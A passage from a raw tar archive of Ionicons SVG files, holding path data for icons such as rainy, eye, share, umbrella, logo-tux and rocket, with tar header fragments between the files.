14z"/></svg>ionicons/svg/ios-rainy.svg000064400000001526151701353760011633 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433.9 175.6c-19-17.6-44.6-27.3-72.1-27.3h-5.6c-6.5-23.5-19.4-43.5-37.6-58.2C297.3 73 269.5 64 238.1 64c-32.7 0-63.2 11.7-86 32.9-22.8 21.2-35.5 50-36.1 81.4-17.5 4-33.6 13.7-46 27.9-14.2 16.2-22 36.6-22 57.4 0 44.6 34.9 82.6 77.4 86L101.2 382c-2.4 3.2-3.3 7.2-2.7 11.1.6 3.9 2.8 7.3 6 9.6 2.5 1.8 5.5 2.7 8.6 2.7 5.2 0 9.8-2.1 12.5-5.8l37.1-50h35.1l-55.3 75.1c-2.3 3.2-3.4 6.9-2.9 10.6.5 3.9 2.6 7.4 5.9 9.8 3.5 2.5 7.5 2.8 9 2.8 7.2 0 11.2-3.5 13.4-6.4l67.4-91.8H270L246 382c-2.4 3.3-3.4 7.2-2.7 11.1.6 3.9 2.8 7.3 6 9.6 2.5 1.8 5.5 2.7 8.6 2.7 5.2 0 9.8-2.1 12.5-5.8l37-50h35.1l-55.3 75.1c-2.3 3.2-3.4 7-2.9 10.6.5 3.8 2.6 7.2 5.9 9.6 2.6 1.9 5.9 3 8.9 3 5.1 0 9.7-2.2 12.5-6l69.7-95.1c22.4-4.5 43-16.6 58.1-34.5 15.9-18.8 24.7-42.6 24.7-67.1-.1-26.8-10.8-51.6-30.2-69.6z"/></svg>ionicons/svg/ios-eye.svg000064400000001126151701353760011267 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.8 112c-80.4 0-143.8 50.6-219.6 133.3-5.5 6.1-5.6 15.2-.1 21.3C101 338.3 158.2 400 255.8 400c96.4 0 168.7-77.7 220.1-134 5.3-5.8 5.6-14.6.5-20.7C424 181.8 351.5 112 255.8 112zm4.4 233.9c-53 2.4-96.6-41.2-94.1-94.1 2.1-46.2 39.5-83.6 85.7-85.7 53-2.4 96.6 41.2 94.1 94.1-2.1 46.2-39.5 83.6-85.7 85.7z"/><path d="M256 209c0-6 1.1-11.7 3.1-16.9-1 0-2-.1-3.1-.1-36.9 0-66.6 31.4-63.8 68.9 2.4 31.3 27.6 56.5 58.9 58.9 37.5 2.8 68.9-26.9 68.9-63.8 0-1.3-.1-2.6-.1-3.9-5.6 2.5-11.7 3.9-18.2 3.9-25.2 0-45.7-21.1-45.7-47z"/></svg>ionicons/svg/ios-rewind.svg000064400000000414151701353760011774 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M35.9 249.3L244 129.1c5.4-3.1 12.3.6 12.3 6.7V251l211.3-121.9c5.4-3.1 12.3.6 12.3 6.7v240.3c0 6.1-6.9 9.8-12.3 6.7L256.4 261v115.2c0 6.1-6.9 9.8-12.3 6.7L35.9 262.7c-5.2-3-5.2-10.4 0-13.4z"/></svg>ionicons/svg/md-list.svg000064400000000252151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 280h256v48H80zM80 184h320v48H80zM80 88h352v48H80z"/><g><path d="M80 376h288v48H80z"/></g></svg>ionicons/svg/md-share.svg000064400000001351151701353760011415 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.822 344.427c-16.045 0-31.024 5.326-41.721 15.979l-152.957-88.42c1.071-5.328 2.142-9.593 2.142-14.919 0-5.328-1.071-9.593-2.142-14.919l150.826-87.35c11.762 10.653 26.741 17.041 43.852 17.041 35.295 0 64.178-28.766 64.178-63.92C448 72.767 419.117 44 383.822 44c-35.297 0-64.179 28.767-64.179 63.92 0 5.327 1.065 9.593 2.142 14.919l-150.821 87.35c-11.767-10.654-26.741-17.041-43.856-17.041-35.296 0-63.108 28.766-63.108 63.92 0 35.153 28.877 63.92 64.178 63.92 17.115 0 32.089-6.389 43.856-17.042l151.891 88.421c-1.076 4.255-2.141 8.521-2.141 13.847 0 34.094 27.806 61.787 62.037 61.787 34.229 0 62.036-27.693 62.036-61.787.001-34.094-27.805-61.787-62.035-61.787z"/></svg>ionicons/svg/ios-umbrella.svg000064400000001673151701353760012317 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.1 137.9c-34.9-41.6-81.3-67.3-131.2-72.6-2-9.9-10.2-17.3-19.9-17.3s-17.9 7.3-19.9 17.2c-50.6 5.2-97.4 30.3-132.1 71.2-35.8 42.2-55.6 85.5-55.8 143.7-.1.5-.2 1.2-.2 2.1.1 3.2 2.7 5.8 5.8 5.8h3.1c2.6 0 4.9-1.8 5.6-4.4 2.7-10.1 8.4-19.1 16-25.5 7.7-6.5 16.9-9.9 26.6-9.9 9.6 0 18.8 3.4 26.5 10 7.6 6.4 13.2 15.4 16 25.5.7 2.6 3 4.4 5.6 4.4h4.8c2.6 0 4.9-1.8 5.6-4.4 5.7-20.9 23.3-35.4 42.8-35.4 14.8 0 28.8 8.4 36.9 21.9V418c0 9.9-8 18-17.7 18s-17.6-8.1-17.6-18c0-7.7-6.1-14-13.7-14-7.5 0-13.6 6.3-13.6 14 0 25.4 20.2 46 44.9 46 24.8 0 44.9-20.6 44.9-46V270.8c8.2-14.2 21.9-22.6 36.9-22.6 9.6 0 18.7 3.4 26.4 9.9 7.5 6.4 13.1 15.4 15.9 25.5.7 2.6 3 4.4 5.6 4.4h4.8c2.6 0 4.9-1.8 5.6-4.4 2.7-10.1 8.4-19.2 16-25.6 7.7-6.5 16.9-10 26.6-10 9.7 0 19 3.4 26.7 10 7.6 6.4 13.2 15.5 15.9 25.6.7 2.6 3 4.4 5.6 4.4h1.5c1.6 0 3.1-.6 4.2-1.8s1.7-2.7 1.7-4.3c-.8-57.9-21-101.3-56.8-144z"/></svg>ionicons/svg/ios-cloud.svg000064400000000471151701353760011615 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 229.8C429 154.6 365.4 96 288 96c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5-.1-44.7-32.4-84.1-75-91.7z"/></svg>ionicons/svg/md-cloud-download.svg000064400000000516151701353760013230 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM224 268v-76h64v76h68L256 368 156 268h68z"/></svg>ionicons/svg/ios-hourglass.svg000064400000001356151701353760012521 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M415.6 434h-5.1c-6.5 0-12-.9-12.7-7.4v-.1C383.2 290.6 297.6 288 297.6 256s85.7-34.6 100.2-170.5v-.1c.7-6.5 6.2-7.4 12.7-7.4h5.1c7.5 0 14-5.8 14.4-13.3.4-8-6-14.7-14-14.7H96.4c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h5.5c6.5 0 12 .9 12.7 7.4v.1C128.8 221.4 214.4 224 214.4 256s-85.7 34.6-100.2 170.5v.1c-.7 6.5-6.2 7.4-12.7 7.4h-5.1c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h320c8 0 14.4-6.6 14-14.7-.4-7.5-6.9-13.3-14.4-13.3zm-252.3-34.2c28.7-79.8 79.6-70.1 79.6-101.6v-55.6c0-19.4-36.8-32.9-59.8-64.4-3.8-5.2 0-12.4 6.5-12.4h132.9c6.5 0 10.4 7 6.7 12.2-22.6 31.6-60.1 45.2-60.1 64.6v55.6c0 31.2 48.9 22.7 79.8 101.6 2.8 7.1.7 16-6.9 16H170.2c-7.7 0-9.5-8.8-6.9-16z"/></svg>ionicons/svg/ios-checkbox.svg000064400000000666151701353760012303 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H96c-17.7 0-32 14.3-32 32v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32zm-52.5 134.5L229.8 332.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>ionicons/svg/md-folder-open.svg000064400000000647151701353760012534 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.334 144H256.006l-42.668-48H74.666C51.197 96 32 115.198 32 138.667v234.666C32 396.802 51.197 416 74.666 416h362.668C460.803 416 480 396.802 480 373.333V186.667C480 163.198 460.803 144 437.334 144zM448 373.333c0 5.782-4.885 10.667-10.666 10.667H74.666C68.884 384 64 379.115 64 373.333V176h373.334c5.781 0 10.666 4.885 10.666 10.667v186.666z"/></svg>ionicons/svg/md-tennisball.svg000064400000001247151701353760012452 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.8 92.2C348.5 64.5 304.1 48 256 48c-48 0-92.3 16.5-127.6 44 41.6 44.8 64.3 103 64 164.3-.3 61-23.3 118.6-64.9 162.9 35.4 28 80.1 44.8 128.5 44.8 48.5 0 93.3-16.8 128.8-45-41.5-44.3-64.5-101.8-64.8-162.7-.3-61.2 22.3-119.3 63.8-164.1z"/><path d="M353.1 255.1c0 26.9 5.1 53 15.1 77.8 9.6 23.6 23.3 44.9 40.8 63.6 34.1-37.1 55-86.5 55-140.5 0-54.5-21.2-104.2-55.8-141.4-17.1 18.5-30.6 39.6-40 62.7-10 24.8-15.1 51-15.1 77.8zM159.3 255.1c0-26.9-5.1-53-15.1-77.8-9.4-23.2-22.9-44.4-40.2-62.9-34.7 37.2-56 87-56 141.6 0 54.2 21 103.6 55.2 140.7 17.6-18.7 31.4-40.1 41-63.8 10-24.7 15.1-50.9 15.1-77.8z"/></svg>ionicons/svg/ios-checkmark.svg000064400000000513151701353760012434 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.6 192.9L345 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/></svg>ionicons/svg/md-notifications-off.svg000064400000001050151701353760013730 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 463.656c22.814 0 41.475-18.656 41.475-41.656h-82.95c0 23 18.661 41.656 41.475 41.656z"/><path d="M131.083 107.172l.053.074L98.09 74.277 74.004 98.383l63.042 63.153C126.888 180.521 121 202.196 121 225.07v114.555l-41 41.656V402h297.743l36.182 36.33 24.079-24.301L425.9 402h.316L131.083 107.172zM391 225.07c0-63.526-45-117.677-104-131.218V79.274c0-17.706-13.371-31.243-31-31.243-17.628 0-31 13.537-31 31.243v14.578c-15 3.438-29.048 9.501-41.75 17.663L391 319.355V225.07z"/></svg>ionicons/svg/md-radio-button-on.svg000064400000000563151701353760013340 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 152c-57.2 0-104 46.8-104 104s46.8 104 104 104 104-46.8 104-104-46.8-104-104-104zm0-104C141.601 48 48 141.601 48 256s93.601 208 208 208 208-93.601 208-208S370.399 48 256 48zm0 374.4c-91.518 0-166.4-74.883-166.4-166.4S164.482 89.6 256 89.6 422.4 164.482 422.4 256 347.518 422.4 256 422.4z"/></svg>ionicons/svg/ios-call.svg000064400000001130151701353760011413 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 364.8c-14.7-14.7-50-36.8-67.4-45.1-20.2-9.7-27.6-9.5-41.9.8-11.9 8.6-19.6 16.6-33.3 13.6-13.7-2.9-40.7-23.4-66.9-49.5-26.2-26.2-46.6-53.2-49.5-66.9-2.9-13.8 5.1-21.4 13.6-33.3 10.3-14.3 10.6-21.7.8-41.9C184 125 162 89.8 147.2 75.1c-14.7-14.7-18-11.5-26.1-8.6 0 0-12 4.8-23.9 12.7-14.7 9.8-22.9 18-28.7 30.3-5.7 12.3-12.3 35.2 21.3 95 27.1 48.3 53.7 84.9 93.2 124.3l.1.1.1.1c39.5 39.5 76 66.1 124.3 93.2 59.8 33.6 82.7 27 95 21.3 12.3-5.7 20.5-13.9 30.3-28.7 7.9-11.9 12.7-23.9 12.7-23.9 2.9-8.1 6.2-11.4-8.6-26.1z"/></svg>ionicons/svg/md-egg.svg000064400000000250151701353760011052 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C185.6 32 80 165.2 80 288.9S150.4 480 256 480s176-67.4 176-191.1S326.4 32 256 32z"/></svg>ionicons/svg/ios-card.svg000064400000000565151701353760011424 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 128c0-17.6-14.4-32-32-32H64c-17.6 0-32 14.4-32 32v48h448v-48zM32 384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V224H32v160zm142-48h164c7.7 0 14 6.3 14 14s-6.3 14-14 14H174c-7.7 0-14-6.3-14-14s6.3-14 14-14zm-72 0h12c7.7 0 14 6.3 14 14s-6.3 14-14 14h-12c-7.7 0-14-6.3-14-14s6.3-14 14-14z"/></svg>ionicons/svg/md-pint.svg000064400000000317151701353760011266 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 48l42.9 379.2c2.6 20.8 20.5 36.8 42.5 36.8h213.3c22 0 39.9-16 42.5-36.8L448 48H64zm327 124.8H121l-9.4-83.2h288.6l-9.2 83.2z"/></svg>ionicons/svg/ios-volume-off.svg000064400000001547151701353760012573 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M390.1 464c-4.9 0-9.7-2.5-12.3-7L149.7 69.3c-4-6.7-1.7-15.4 5.1-19.3 6.8-3.9 15.5-1.7 19.5 5.1l228.1 387.7c4 6.7 1.7 15.4-5.1 19.3-2.2 1.3-4.7 1.9-7.2 1.9zM133 200H80c-8.9 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h53l65.4 52.5c2.9 2.3 6.5 3.5 10.1 3.5 2.4 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V227.9L184 159.1 133 200zM448 256c0-59.3-23.3-114.9-65.5-156.5-4.7-4.7-12.3-4.6-17 .1-4.7 4.7-4.6 12.3.1 17C403.3 153.7 424 203.2 424 256c0 44.4-14.7 86.4-41.7 120.8l13 22C429.4 359.1 448 309 448 256z"/><path d="M385.2 256c0-43.5-16.7-84.3-46.9-114.9-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 25.8 26.1 40 60.9 40 98.1 0 21.6-4.8 42.5-13.9 61.2l14.2 24.1c15.4-25.4 23.7-54.7 23.7-85.4zM317.6 256c0-27.8-10.7-53.9-30-73.4-4.7-4.7-12.3-4.8-17-.1-.6.6-1.1 1.2-1.6 1.9l48.1 81.8c.3-3.4.5-6.8.5-10.2z"/></svg>ionicons/svg/logo-polymer.svg000064400000000317151701353760012343 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392.3 96h-77.9L160.8 348.6 109.9 256l87.7-160h-77.9L32 256l87.7 160h77.9l153.7-252.6 50.8 92.6-87.7 160h77.9L480 256 392.3 96z"/></svg>ionicons/svg/md-bus.svg000064400000001216151701353760011104 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 352c0 19.198 13.864 24.531 26.667 36.271v38.396c0 11.729 9.599 21.334 21.333 21.334h21.333c11.734 0 21.334-9.604 21.334-21.334v-21.333h170.666v21.333c0 11.729 9.604 21.334 21.334 21.334H384c11.729 0 21.333-9.604 21.333-21.334v-38.396C418.136 376.531 432 370.136 432 352V148.334C432 73.667 349.864 64 256 64S80 73.667 80 148.334V352zm80 15.989c-18.136 0-32-13.864-32-32 0-18.135 13.864-32 32-32s32 13.865 32 32c0 18.136-13.864 32-32 32zm192 0c-18.136 0-32-13.864-32-32 0-18.135 13.864-32 32-32s32 13.865 32 32c0 18.136-13.864 32-32 32zm32-122.656H128V138.667h256v106.666z"/></svg>ionicons/svg/logo-windows.svg000064400000000302151701353760012340 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 265H232v179l248 36V265zM216 265H32v150l184 26.7V265zM480 32L232 67.4V249h248V32zM216 69.7L32 96v153h184V69.7z"/></svg>ionicons/svg/logo-tux.svg000064400000005163151701353760011500 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.3 396c-6.7-4-13.2-11-12-18.8 2.3-15.3 2.5-21.5-.2-25.8-1.9-3.2-5.5-5-8.6-5.8 2-2.5 3.1-5.4 3.8-10.9 1.3-10-4.7-41-12.7-65.7s-29.9-50-44.7-68c-26-31.8-22.8-39.2-26.3-99.7C323.4 62.8 306.3 32 256 32s-67 32-67 59c0 28.7 2 51 2 51 1.3 33.4 1 39.4-8 55.3-4.9 8.7-27 30-35.7 44.7s-7.6 29.5-24.6 52.8c-12.4 17-13.8 28.4-9.7 44-7 8.2-3.6 19.9-5 24.9-2.6 8.7-13.7 10.3-22.3 11s-15.3 0-18.7 5.3.7 16 4.3 30-7.3 15-7.3 31 30 16 59.7 22.7 40.7 16.3 56 16.3 26.8-10.2 38-19.3c7.2-5.9 29-3.7 42.3-3.7s34.3-.6 45.7 2.4S317 480 345 480s34.7-20.7 61-34.3 42-20 42-29.7-15-16-21.7-20zm-226.5 55.5c-1.3 13-12.6 17.1-24.1 16.1-13-1.1-29-7.6-44.1-12.1s-35.5-7.5-49-9.9c-15.3-2.7 0-13.6-.2-34.2-.1-8-7.1-19.4-4.2-24.7s17.3-2.4 22.3-3.8 12.7-5.7 15.3-11.9c1.4-3.4 1.8-17.7 2.9-22.8 1.1-4.9 7.9-7.2 22.2.1s28.9 38.1 42.3 59.8 17.9 30.4 16.6 43.4zm118.5-65.8c2 10.3 3.2 24.5.7 36.3s-7 15.5-10.7 23c-2.2-6.8 5.3-13.8 4.4-30.8-.5-9.5-.8-7.8-11.5 1.8-12.2 10.8-27.6 20.1-53 22.5-21 2-32.5-8.3-32.5-8.3 5 16-4.3 24.7-4.3 24.7.3-3.7.8-14.3-2.5-21.6-4-9-9.3-18.7-9.3-18.7s8.6-2.7 11.6-10 2-17.3-8.7-27.7-52.5-37.6-55.9-42.1c-4.9-6.5-6.7-10.2-7-23.2s5.4-24.8 4.3-20.3c-.8 3.2.1 6.8.1 19.8s7.6 23.3 13.9 25c9.5 2.6 2-26.1 8-53.1s11.7-32.8 19.2-43.8 19.2-20.5 17-43.1-.1-20.1 5.1-11.8c4 6.5 13.3 24 24.7 22 19.4-3.3 43.9-24.6 47.6-28.2 3.7-3.6.7-7.1-2.3-5.8-15.5 6.7-44.3 21.5-51.5 18.2s-18.1-20.6-16.8-19.5c15.4 13.6 19.9 11.1 26.4 9 8.4-2.8 12.8-4.3 28.5-11.3s20.7-5.3 22.3-8.7-.4-6.7-4.7-5.7c-6.4 1.5-3.4 5.1-22.7 12.3-25.3 9.5-33.3 10.3-44 3-8.6-5.9-15-12.7-15-16.7s8.3-8.3 12.3-11.3 12.3-10.9 12.3-10.9 1-7.2-.6-12.7c-1.9-6.5-7.8-9.3-11.9-8.1-4.1 1.1-8 5.5-6.8 14.8 1 8.3 7 11 7 11s-2.7 3.5-5.2 4.7c0 0-.8-.3-3.5-6.3s-6.6-19.5-.3-31.1 19.6-5.2 23.8 3.8c3.9 8.3 2.4 22.7 2.4 22.7 6-2.2 13-2 21 3.5-7.1-29.8 9.5-41.1 22-41.1s22.3 9.6 22.3 25c0 12-3.5 18.2-6.9 22-4.1-.5-8.2-1.5-6.3-3.4 1.3-1.4 4.4-5.7 4.4-13.2s-5.9-13.7-13.7-13.7c-9.2 0-12.6 8.3-13.7 13s-.4 8.6-.2 10.4c.6 5 10.9 9.6 23.9 12.9s11.3 9 8.3 25.3 6.3 18.3 14.3 33.8 5.7 21.8 15.9 35.2 19 47.8 16.4 76.8c-.9 10.5-3.9 10.2 7.3 6.7 5.6-1.7 12-2.7 12-2.7 3.1-6.3 3.4-16.3 3.5-22.3.2-13.5.7-41.5-26.7-71.5 0 0 29.5 21.7 34 62 2.5 22.3-2 32.4-2 32.4 5.3 1.3 9.8 7.3 12.6 11.8 3.7 6.1-3.9-5.8-20-5.8-8.5 0-15.3 3.9-18.5 7.9s-3.1 7.6-3.2 11.7c-7.1-1.2-12.4 0-16.8 4.9-5.6 7-2.8 24.2-.8 34.6zm90.1 47.2c-24.1 10.4-32.7 23.5-47.7 31.5s-27.7 2.3-33.7-8 10.4-28.2 4.7-59.6c-4.4-24.2-6.3-31-4.9-36.8 1.4-5.5 9.4-4.4 11.5-3.9 1.3 5.4 6.7 19.5 27 19.5 0 0 23.2 2.6 32.7-21.2 0 0 5.7-.2 7.2 3.5 2.3 5.8-2.9 16.5-2.8 21.3.3 15.7 11.7 21.1 28.4 32 8.2 5.6 2.1 11.1-22.4 21.7z"/></svg>ionicons/svg/md-bonfire.svg000064400000002343151701353760011741 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M272.2 350.6c-.8-8.2-8.2-14.6-17.3-14.6-8.3 0-15.2 5.4-16.9 12.5L221.1 441c-.5 2.3-.8 4.6-.8 7 0 17.7 15.5 32 34.7 32s34.7-14.3 34.7-32c0-2.9-.4-5.7-1.2-8.4l-16.3-89zM310.1 355zM404.3 390.3c-1.9-1.4-3.6-2.9-5.6-3.9l-68.9-47.5c-6.3-3.8-13-3.7-17.9.9-4.5 4.1-5.1 10.4-1.8 15.4l53 65.8c1 1.5 2.3 2.8 3.6 4.2 8.5 9.1 27.2 9.6 37.5 0 10.4-9.8 10.3-27.2.1-34.9zM382.2 335zM450.4 322.5l-64.5-2.3c-4.2-.6-8 2.1-8.7 6-.7 3.6 1.5 7.1 5.1 8.8h.1l62.5 17.8c9 1.9 19.1-2.3 19.1-11.6 0-11.9-3.3-17.5-13.6-18.7zM129.5 335zM129.5 335c3.6-1.6 5.7-5.2 5.1-8.8-.7-4-4.5-6.6-8.7-6l-64.5 2.3C51 323.7 48 329.3 48 341.1c0 9.3 9.9 13.6 18.8 11.6l62.5-17.8c.1.1.1.1.2.1zM182.2 338.8l-68.9 47.4c-2 1.1-3.9 2.4-5.6 3.9-10.4 9.6-10.4 25.1 0 34.6 10.4 9.6 27.1 9.6 37.5 0 1.4-1.3 2.6-2.7 3.6-4.2l53-65.6c3.3-5 2.7-11.2-1.8-15.3-4.8-4.5-12.6-4.8-17.8-.8zM256 32s30.2 35.4 30.2 64.4c0 27.8-18.2 50.3-45.9 50.3-27.9 0-48.9-22.5-48.9-50.3l.4-6.9c-27.2 32.3-43.5 76.2-43.5 121.8 0 59.6 48.2 107.8 107.8 107.8s107.8-48.2 107.8-107.8C363.8 138.7 328 53.7 256 32zm-3.9 246.7c-24 0-43.4-18.9-43.4-42.3 0-21.8 14.1-37.2 37.9-42 23.8-4.9 48.5-16.3 62.3-34.8 5.3 17.4 7.9 35.7 7.9 54.4 0 35.7-29 64.7-64.7 64.7z"/></svg>ionicons/svg/md-rocket.svg000064400000001300151701353760011574 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 421.6c-18.1 0-33.2-6.8-42.9-10.9-5.4-2.3-11.3 1.8-10.9 7.6l3.5 51c.2 3.1 3.8 4.7 6.3 2.8l14.5-11c1.8-1.4 4.5-.9 5.7 1l20.5 32.1c1.5 2.4 5.1 2.4 6.6 0l20.5-32.1c1.2-1.9 3.9-2.4 5.7-1l14.5 11c2.5 1.9 6.1.3 6.3-2.8l3.5-51c.4-5.8-5.5-10-10.9-7.6-9.8 4.1-24.8 10.9-42.9 10.9z"/><path d="M397.7 293.1l-48-49.1c0-158-93.2-228-93.2-228s-94.1 70-94.1 228l-48 49.1c-1.8 1.8-2.6 4.5-2.2 7.1L130.6 412c.9 5.7 7.1 8.5 11.8 5.4l67.1-45.4s20.7 20 47.1 20c26.4 0 46.1-20 46.1-20l67.1 45.4c4.6 3.1 10.8.3 11.8-5.4l18.5-111.9c.2-2.6-.6-5.2-2.4-7zM256.5 192c-17 0-30.7-14.3-30.7-32s13.8-32 30.7-32c17 0 30.7 14.3 30.7 32s-13.7 32-30.7 32z"/></svg>ionicons/svg/md-aperture.svg000064400000001762151701353760012150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.288 32 32 132.288 32 256s100.288 224 224 224 224-100.288 224-224S379.712 32 256 32zm135.765 359.765C355.5 428.028 307.285 448 256 448s-99.5-19.972-135.765-56.235C83.972 355.5 64 307.285 64 256s19.972-99.5 56.235-135.765C156.5 83.972 204.715 64 256 64s99.5 19.972 135.765 56.235C428.028 156.5 448 204.715 448 256s-19.972 99.5-56.235 135.765z"/><path d="M200.043 106.067c-40.631 15.171-73.434 46.382-90.717 85.933H256l-55.957-85.933zM412.797 288A160.723 160.723 0 0 0 416 256c0-36.624-12.314-70.367-33.016-97.334L311 288h101.797zM359.973 134.395C332.007 110.461 295.694 96 256 96c-7.966 0-15.794.591-23.448 1.715L310.852 224l49.121-89.605zM99.204 224A160.65 160.65 0 0 0 96 256c0 36.639 12.324 70.394 33.041 97.366L201 224H99.204zM311.959 405.932c40.631-15.171 73.433-46.382 90.715-85.932H256l55.959 85.932zM152.046 377.621C180.009 401.545 216.314 416 256 416c7.969 0 15.799-.592 23.456-1.716L201.164 288l-49.118 89.621z"/></svg>ionicons/svg/md-man.svg000064400000000606151701353760011070 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 106.6c20.6.1 37.3-16.6 37.3-37.3 0-20.6-16.7-37.3-37.3-37.3-20.6 0-37.3 16.7-37.3 37.3 0 20.6 16.7 37.3 37.3 37.3zM293.4 115h-74.8c-28.2 0-46.6 24.8-46.6 48.4V277c0 22 31 22 31 0V172h6v285.6c0 30.4 42 29.4 43 0V293h8v164.7c1.7 31.2 43 28.2 43-.1V172h5v105c0 22 32 22 32 0V163.4c0-23.5-18.5-48.4-46.6-48.4z"/></svg>ionicons/svg/md-barcode.svg000064400000000376151701353760011720 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M88 128h48v256H88zM232 128h48v256h-48zM160 144h48v224h-48zM304 144h48v224h-48zM376 128h48v256h-48z"/><path d="M104 104V56H16v400h88v-48H64V104zM408 56v48h40v304h-40v48h88V56z"/></svg>ionicons/svg/ios-fitness.svg000064400000001000151701353760012147 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 280H160c-4.4 0-8-3.6-8-8v-32c0-4.4 3.6-8 8-8h192c4.4 0 8 3.6 8 8v32c0 4.4-3.6 8-8 8zM378 362V150c0-12.1 9.9-22 22-22s22 9.9 22 22v212c0 12.1-9.9 22-22 22s-22-9.9-22-22zM460 192h-12c-4.4 0-8 3.6-8 8v112c0 4.4 3.6 8 8 8h12c11 0 20-9 20-20v-88c0-11-9-20-20-20zM134 362V150c0-12.1-9.9-22-22-22s-22 9.9-22 22v212c0 12.1 9.9 22 22 22s22-9.9 22-22zM64 192H52c-11 0-20 9-20 20v88c0 11 9 20 20 20h12c4.4 0 8-3.6 8-8V200c0-4.4-3.6-8-8-8z"/></svg>ionicons/svg/md-undo.svg000064400000000375151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M262.3 179.6c-57.9 0-110.3 21.6-150.7 56.8L32 160v192h197.5l-79.1-76.8c30.4-25.3 69-41.1 111.8-41.1 77.3 0 143.1 48.2 166 117.8l51.8-14.8c-30.4-91.4-116.2-157.5-217.7-157.5z"/></svg>ionicons/svg/md-tv.svg000064400000000364151701353760010747 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M439.3 76H72.7C50.3 76 32 94 32 116v240c0 22 18.3 40 40.7 40h101.8v40h162.9v-40h101.8c22.4 0 40.5-18 40.5-40l.2-240c.1-22-18.2-40-40.6-40zm0 280H72.7V116h366.5v240z"/></svg>ionicons/svg/ios-sunny.svg000064400000002574151701353760011671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 387c-8.5 0-15.4 6.9-15.4 15.4v46.2c0 8.5 6.9 15.4 15.4 15.4s15.4-6.9 15.4-15.4v-46.2c0-8.5-6.9-15.4-15.4-15.4zM256 48c-8.5 0-15.4 6.9-15.4 15.4v46.2c0 8.5 6.9 15.4 15.4 15.4s15.4-6.9 15.4-15.4V63.4c0-8.5-6.9-15.4-15.4-15.4zM125 